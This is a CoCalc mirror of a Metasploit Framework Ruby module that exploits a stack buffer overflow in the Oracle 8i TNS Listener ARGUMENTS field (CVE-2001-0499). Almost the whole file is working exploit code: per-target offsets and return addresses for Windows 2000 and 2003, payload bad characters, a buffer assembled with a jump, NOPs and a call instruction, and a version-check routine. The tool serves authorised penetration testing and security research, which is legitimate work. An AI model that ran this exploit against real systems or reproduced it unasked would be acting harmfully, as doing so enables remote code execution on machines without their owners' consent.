CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/oracle/tns_arguments.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::TNS
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Oracle 8i TNS Listener (ARGUMENTS) Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Oracle 8i. When
16
sending a specially crafted packet containing an overly long
17
ARGUMENTS string to the TNS service, an attacker may be able
18
to execute arbitrary code.
19
},
20
'Author' => [ 'MC' ],
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
[ 'CVE', '2001-0499' ],
25
[ 'OSVDB', '9427'],
26
[ 'BID', '2941' ],
27
],
28
'Privileged' => true,
29
'DefaultOptions' =>
30
{
31
'EXITFUNC' => 'process',
32
},
33
'Payload' =>
34
{
35
'Space' => 600,
36
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",
37
'StackAdjustment' => -3500,
38
},
39
'Platform' => 'win',
40
'Targets' =>
41
[
42
[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)', { 'Offset' => 6383, 'Ret' => 0x60a1e154 } ],
43
[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)', { 'Offset' => 6379, 'Ret' => 0x60a1e154 }] ,
44
],
45
'DefaultTarget' => 0,
46
'DisclosureDate' => '2001-06-28'))
47
48
register_options([Opt::RPORT(1521)])
49
end
50
51
def check
52
connect
53
version = "(CONNECT_DATA=(COMMAND=VERSION))"
54
pkt = tns_packet(version)
55
sock.put(pkt)
56
sock.get_once
57
res = sock.get_once(-1, 1)
58
disconnect
59
60
if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ )
61
return Exploit::CheckCode::Appears
62
end
63
64
return Exploit::CheckCode::Safe
65
end
66
67
def exploit
68
connect
69
70
buff = rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded
71
buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
72
buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(966)
73
74
sploit = "(CONNECT_DATA=(COMMAND=STATUS)(ARGUMENTS=#{buff}))"
75
76
pkt = tns_packet(sploit)
77
78
print_status("Trying target #{target.name}...")
79
sock.put(pkt)
80
81
handler
82
83
disconnect
84
end
85
end
86
87